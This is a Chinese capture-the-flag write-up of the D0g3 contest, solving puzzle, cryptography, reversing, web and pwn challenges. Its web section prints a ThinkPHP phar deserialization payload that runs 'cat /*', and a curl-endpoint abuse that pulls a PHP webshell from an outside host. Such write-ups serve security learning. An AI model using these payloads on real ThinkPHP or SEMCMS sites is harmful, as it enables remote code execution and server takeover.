Misc
应该算是签到
B站搜索直接搜索这个BV号
PS:出题人品味不错,我也喜欢酷玩的这首《Yellow》
直接页面Ctrl+F
没找出来
搜索引擎找一下有没有通过API查弹幕的方法:https://www.bilibili.com/read/cv7923601
F12点击Network
,找到这个视频的cid
从当前时间2021-11-27
开始往前找
1 | https://api.bilibili.com/x/v2/dm/web/history/seg.so?type=1&oid=400438565&date=2021-11-27 |
将历史弹幕文件下载下来,选择UTF-8
编码,然后查找关键字即可
1 | D0g3{We1come_to_axbg0g0g0} |
CyzCC_loves_LOL
D0g3_LOLteampassword
1 | HAI D0g3 code |
看不懂什么东西,猜测某种编码,搜索引擎找一下
- lolcode-language:https://www.dcode.fr/lolcode-language
解码得到ez_misc.zip
密码:AGdJfpqebmXpptloa
Program.png
根据名称提示一开始以为是npiet
,尝试直接编译发现不对
后来经过查阅资料才发现Brainfuck
也有一种用像素颜色表示的语言:Brainloller
上传之后点击Play
,得到密码:0MTTW CWZVN!
然后根据题目名称提示将密码中的空格换成下划线、以及jinx's_flag_in_silent.jpg
的名称,直接尝试SilentEye
解密
1 | D0g3{544f3225-bbaf-47dc-ba8d-5bda54cbaecb} |
Cthulhu Mythos
下载附件,发现是里面是一个hint.mp3
和The Evil Watcher.wld
hint.mp3
听一下,发现前面是泰拉瑞亚的主题曲,后面部分很明显是SSTV
因为格式问题没法直接用QSSTV
,RX-SSTV
的话又比较麻烦要调整电脑录音设备,就直接用Robot36
听吧
网上随便找个地址:https://apkpure.com/cn/robot36-sstv-image-decoder/xdsopl.robot36
得到后半部分的flag:d_Try_Terr4ria!}
The Evil Watcher.wld
文件是Terraria游戏的一个地图文件,我们可以通过Terramap地图查看器
去加载这个地图文件
Terramap链接:https://www.bilibili.com/read/cv8778447/
等加载完地图,Players:选择All Spoiers,这样地图就全部显现出来了,可以通过左键拖动地图,右键可以查看相关物品信息
在地图中发现了四个蓝色突起状的东西,右键点击发现了类似base编码的东西
第四个箱子说密文被机械师拿走了
讲前三个箱子的base编码组合一下,得到base32编码
1 | IQYGOM33JUYW4ZLDKI2GM5C |
用 CyberChef
解码一下得到前半部分的D0g3{M1necR4ft
,但是跟后半部分是连不上的,我们再去看看第四个箱子里面被拿走的密文是什么
最后一个箱子的密文始终没有找到,在尝试了多个编辑器后,终于使用Tedit
在出生地发现了最后的密文,不知道为啥有的编辑器不显示,有的编辑器又会显示。。。
Tedit下载地址:https://www.binaryconstruct.com/downloads/
得到7I4YF6QLO
,所以完整的前半部分的base32编码就是IQYGOM33JUYW4ZLDKI2GM5C7I4YF6QLO
得到D0g3{M1necR4ft_G0_An
,所以结合前面的后半部分flag:d_Try_Terr4ria!}
所以flag为:
1 | D0g3{M1necR4ft_G0_And_Try_Terr4ria!} |
lovemath
打开压缩包,里面除了flag.zip,还有几个 大小只有6的txt文件,这里应该是要crc32爆破了
使用命令:
1 | python crc32.py reverse 0xCRC32的值 |
分别得到:
连起来就是:th1s_Is_Y0ur_pa33w0rd_We1c0m3e
打开flag.zip得到
用Stegsolve打开图片,发现R,G,B的0通道都有异常
应该是LSB隐写没跑了
我们将其Save Bin,保存为png图片,发现打不开,用010打开发现文件头前面有多余的字节,删掉后可打开得到一张带有很多数字的图片
因为没法复制,手撸的话估计眼睛要瞎了,尝试用QQ识图来获取数据,但是全部选中识别又有误差,于是选了个折中的办法就是半行半行的用QQ识图。。。总算是识别完了,遭不住,眼睛痛
1 | 1251077695482776025338577125579215707216262981842821000162276994967943212822693842845266851984880336702446444408289977864567921038435144120176357529686342977212633764247620567669441602729004003473312468776582473461071462631554533766709934484393185739708817165738912742570170547790145328253304755428563911689057632001795598667127514331122190795355921436735375126688142856470280128821316586008242687241930886868804388482643589009068543771977163419519208340324352 |
尝试过转字符,但是失败了哈哈哈哈,果然作为500分的题肯定没这么简单,根据题目,lovemath
和数学如此美丽,甚至能画出自己
来看,这题应该是要通过某种数学方式来绘图,并且注意这句甚至能画出自己
,最后百度了很久,终于在百度自我画图公式
的结果中,发现了塔伯自我指涉公式作图程序(matplotlib)
,里面还附有脚本
脚本地址:https://www.cnblogs.com/1024th/p/14418846.html
脚本如下:
1 | """ |
把之前得到的数据填入K
之后运行,得到Tupper-plot.png
得到flag为:
1 | D0g3{I_Lov3_math} |
Cry
little_trick
注意到e的生成:
$$
e = gmpy2.next-prime(bytes-to-long(os.urandom(3)))
$$
由此可知e的取值较小,可以爆破出来,大致估计e的范围:e<256 * 256 * 150+256 * 150 +150=9868950,于是设置e的上界为e<10000000.
直接爆破e时间可能太久,我们采取空间换时间的方法:先把这个范围内的素数全求出来,存在一个列表里面,然后对列表索引爆破,判断依据为b’D0g3’。
exp
1 | import sympy |
运行大概十几二十分钟可得结果。
flag为:
1 | D0g3{Welc0me_t0_iSOON_4nd_have_4_go0d_time} |
ez_equation
设primelist中的三个素数分别为p1,p2,p3,则有M1=y1+x2+x3=$p_2(p_1+1)(p_1+p_2)$,M2=y2+y3=$p_2(p_3+1)(p_1+p_2)-2$,于是M3=M2+2=$p_2(p_3+1)(p_1+p_2)$,对M1和M3求gcd可得$p_2*(p_1+p_2)*gcd(p_1+1,p_3+1)$,我们在1000的范围内爆破$gcd(p_1+1,p_3+1)$,即可求得p1,p2,p3,后面由于p,q很近,枚举p-q分解n,正常解密即可。
exp
1 | import sympy |
flag:为
1 | D0g3{296b680c-7aeb-5272-8b33-7335b411fbcb} |
strange
注意到m是flag,相对于hint和n来说都比较小,m|hint的操作对于hint来说影响很小,这就存在一个小值根,因此采用coppersmith的方法先解出m1,然后根据m1和m2先预估出m的位数,再爆破m的每一位来得到flag。
exp:
1 | ##sagemath |
flag为:
1 | D0g3{R54_f4l1_1n_l0ve_with_CopperSmith_w0wow0!!} |
Web
ez_tp
扫到www.zip,下载到源码。版本5.1.37,diff了一下发现没有什么不同,直接看源码
能读任意文件,但找不到flag位置,不过很明显看出phar反序列化
找链子生成phar文件
1 |
|
读phar
1 |
|
payload变量覆盖一下
http://1.12.220.15:19274/index.php/index/index/hello?shell=cat /*
1 | world=hello=IF9fSEFMVF9DT01QSUxFUigpOyA/Pg0KJgMAAAEAAAARAAAAAQAAAAAA7wIAAE86Mjc6InRoaW5rXHByb2Nlc3NccGlwZXNcV2luZG93cyI6MTp7czozNDoiAHRoaW5rXHByb2Nlc3NccGlwZXNcV2luZG93cwBmaWxlcyI7YToxOntpOjA7TzoxNzoidGhpbmtcbW9kZWxcUGl2b3QiOjI6e3M6OToiACoAYXBwZW5kIjthOjE6e3M6NDoiZmVuZyI7YToxOntzOjU6ImhlbGxvIjtzOjU6IndvcmxkIjt9fXM6MTc6IgB0aGlua1xNb2RlbABkYXRhIjthOjE6e3M6NDoiZmVuZyI7TzoxMzoidGhpbmtcUmVxdWVzdCI6Mzp7czo3OiIAKgBob29rIjthOjE6e3M6NzoidmlzaWJsZSI7YToyOntpOjA7cjo4O2k6MTtzOjY6ImlzQWpheCI7fX1zOjk6IgAqAGZpbHRlciI7czo2OiJzeXN0ZW0iO3M6OToiACoAY29uZmlnIjthOjEwOntzOjEwOiJ2YXJfbWV0aG9kIjtzOjc6Il9tZXRob2QiO3M6ODoidmFyX2FqYXgiO3M6MDoiIjtzOjg6InZhcl9wamF4IjtzOjU6Il9wamF4IjtzOjEyOiJ2YXJfcGF0aGluZm8iO3M6MToicyI7czoxNDoicGF0aGluZm9fZmV0Y2giO2E6Mzp7aTowO3M6MTQ6Ik9SSUdfUEFUSF9JTkZPIjtpOjE7czoxODoiUkVESVJFQ1RfUEFUSF9JTkZPIjtpOjI7czoxMjoiUkVESVJFQ1RfVVJMIjt9czoxNDoiZGVmYXVsdF9maWx0ZXIiO3M6MDoiIjtzOjE1OiJ1cmxfZG9tYWluX3Jvb3QiO3M6MDoiIjtzOjE2OiJodHRwc19hZ2VudF9uYW1lIjtzOjA6IiI7czoxMzoiaHR0cF9hZ2VudF9pcCI7czoxNDoiSFRUUF9YX1JFQUxfSVAiO3M6MTU6InVybF9odG1sX3N1ZmZpeCI7czo0OiJodG1sIjt9fX19fX0JAAAAaGVsbG8udHh0BAAAAAJnomEEAAAADH5/2LYBAAAAAAAAdGVzdM/lB06QxBmPdCdWlMiCHMEIvsfXAgAAAEdCTUI=%26a=phar://hello.txt |
ezcms
审到很多前台sql注入,只能时间盲注,总是注到一半环境就崩,崩了之后重开又打不通了。
之后本地测试之后是可以未授权的,所以直接找后台功能,看到一个curl接口。
应该是可以远程下载文件的。
前面有
1 | if (isset($_GET['url'])){ |
用/分隔,dname[2]得包含sem-cms.cn,设置php文件名为此即可。
payload
1 | http://81.69.27.32:8888/CxWsbN_AR4/Ant_Curl.php?url=47.101.176.40/shell/sem-cms.cn.php |
提示下载失败,但本地测试之后其实是成功的,蚁剑连接
Soft/Zip/sem-cms.cn.php
RE
virtus
是傀儡进程,先dump出来真正的程序
题目要求输入两个内容,一个是key,一个是flag,key的长度是4,flag长度是32
使用线程对flag进行加密,算法很简单,就是异或
这里是对key进行运算,再用运算后的结果进行比较
Key的加密算法我没看懂,但是Key长度并不长,直接写个脚本爆破,爆破出来key是:_shy
剩下的部分就是根据key生成密钥表,然后对flag进行加密,最后进行比较
加密算法如下,推出:v3[i ] = sub_401005(*(a2 + 4 * i + 16) ^ v3[i + 3] ^ v3[i + 2] ^ v3[i + 1]) ^ v3[i+4]
剩下的就是把4011E0的加密算法抄下来,然后套上面推出来的公式,就能跑出flag
脚本如下:
1 |
|
mazeee
首先根据提示,可以看到base编码,动态调试发现base表被替换,直接换表base解码
得到,D0g3{Y0u^Can=So1ve_it!
然后继续分析迷宫,很容易看出来这是一个三维迷宫,并且可以算出步数应该为22
脚本如下:
跑出来是:dWWwwdddWWaawwddsssSaw
输入后,告诉我这个。。。。,字符串又说我前面有点问题,what?
既然都提醒了是前面,那大概率是下图这段了,不然出题人就疯了
411D80应该是420000数组的初始化函数,然而,420000数组内已经有东西了,并不是我们想的000000000(全局变量是这样的),说明题意大概就是根据420000内的数据,算出42024C的数据,1F和E0这两个数很特殊,看懂了吗,一个取高3位,一个取低5位
算法就如下吧,不过多阐述了,直接看代码
sign in
有部分smc,直接用ODdump出来
发现就是算法段
先是一个xor操作
进行置换操作,打乱字符顺序,并保存
先加密,然后结果去比较
有点像tea算法
V5我们不得而知,但是我们可以知道的是42CA44小于256,所以可以爆破
脚本如下
PWN
ez_stack
1 | from pwn import* |
如图 main_offset 为0xb + 6
canary_offset 为 0x5 + 6
第一发payload 通过泄露main地址得到程序基地址 和 canary
第二发payload 直接ret2libc shell
noleak
libc2.7 漏洞点为edit时的off by null
因为无size限制 直接先申请大chunk 然后释放进unsorted bin
然后在申请该unsortedbin的一部分 直接show得到libc
然后就是House Of Einherjar 需要注意填满tcache即可。
1 | from pwn import* |
ez_heap
跟HITCON——houseoforange几乎一模一样
都是不限制size 然后漏洞为堆块溢出 只有add edit show
参考博客 :
house of orange 泄露出libc 然后unsorted bin attack + FSOP attack
1 | from pwn import* |